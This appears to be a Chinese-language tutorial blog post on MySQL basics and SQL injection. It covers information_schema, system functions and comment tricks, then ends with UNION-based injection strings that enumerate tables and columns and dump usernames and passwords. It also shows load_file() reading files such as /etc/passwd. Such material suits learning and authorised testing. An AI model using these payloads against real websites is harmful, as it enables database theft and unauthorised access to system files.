zoukankan      html  css  js  c++  java
  • MySQL注入前了解

      MySQL[1] 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 旗下公司。MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策(本词条“授权政策”),它分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。

    常用语句

     

    1:使用SHOW语句找出在服务器上当前存在什么数据库:

    mysql> SHOW DATABASES;

    2:创建一个数据库MYSQLDATA
    mysql> CREATE DATABASE MYSQLDATA;

    3:选择你所创建的数据库
    mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!)

    4:查看现在的数据库中存在什么表
    mysql> SHOW TABLES;

    5:创建一个数据库表
    mysql> CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1));

    6.导入.sql文件命令(例如D:/mysql.sql)
    mysql>use database;
    mysql>source d:/mysql.sql;

    7.查删改添
    SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2'
    INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
    UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
    DELETE FROM 表名称 WHERE 列名称 = 值

     

    注入了解

    在Mysql 5.0以上的版本中,为了方便管理,
    默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。

    在schemata表中,schema_name字段用来存储数据库名。

    在tables表中,table_schema和table_name分别用来存储数据库名和表名

    在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)

    Mysql常用函数

    eg: select user(); 

    1:system_user() 系统用户名
    2:user() 用户名
    3:current_user() 当前用户名
    4:session_user()连接数据库的用户名
    5:database() 数据库名
    6:version() MYSQL数据库版本
    7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数  

      MySQL的load_file()函数可以用来获取部分系统信息
      mysql> select load_file('/etc/issue');

      备注:
      1.用MySQL的root用户可以获取到很多信息,甚至是/etc/ssh/sshd_config、/etc/passwd这类文件的信息,但MySQL的普通用户视乎不行
      2.load_file()函数中的pathname要用单引号括起来

    8:@@datadir 读取数据库路径
    9:@@basedir MYSQL 安装路径
    10:@@version_compile_os 操作系统

    注释
    --%20,%23, --+, -- -,   /* */,   /*!*/

    字符串连接函数

    1. concat(str1,str2,...)——没有分隔符地连接字符串

    2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

    3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

    分隔符

    0x3a --> :

    0x2f --> /

    0x7c --> |

    0x7e --> ~

    SQL注入分类

    依据注入点类型分类

    数字类型的注入 SELECT 列 FROM 表 WHERE 数字型列=值
    字符串类型的注入 SELECT 列 FROM 表 WHERE 字符型列=‘值’
    搜索型注入 SELECT * FROM 表 WHERE 被搜索列 LIKE ‘%值%’

    依据提交方式分类

    GET注入
    POST注入
    COOKIE注入
    HTTP头注入(XFF注入、UA注入、REFERER注入)

    依据获取信息的方式分类

    联合查询注入
    基于布尔的盲注
    基于时间的盲注
    基于报错的注入
    堆查询注入 (可同时执行多条语句)

    基于Get/Post(抓包)型的联合查询注入语句
    1、利用order by 判断字段数。

    2、利用union select 联合查询,获取表名。
    0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

    3、利用union select 联合查询,获取字段名。
    0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

    4、利用union select 联合查询,获取字段值。
    0' union select 1,group_concat(username,0x3a,password),3 from users--+

     

     

  • 相关阅读:
    Python动态生成Bean类,并且带toString,equals,hashcode方法
    逆向工程核心原理——第十八章
    逆向工程核心原理——第十七章
    逆向工程核心原理——第十六章
    逆向工程核心原理——第十五章
    Creckme_bjanes.1
    CTF_python-trade
    大二下学期阅读笔记(人月神话)
    大二下学期个人作业(三个和尚)
    大二下学期团队项目(收藏转移)
  • 原文地址:https://www.cnblogs.com/dork/p/13646140.html
Copyright © 2011-2022 走看看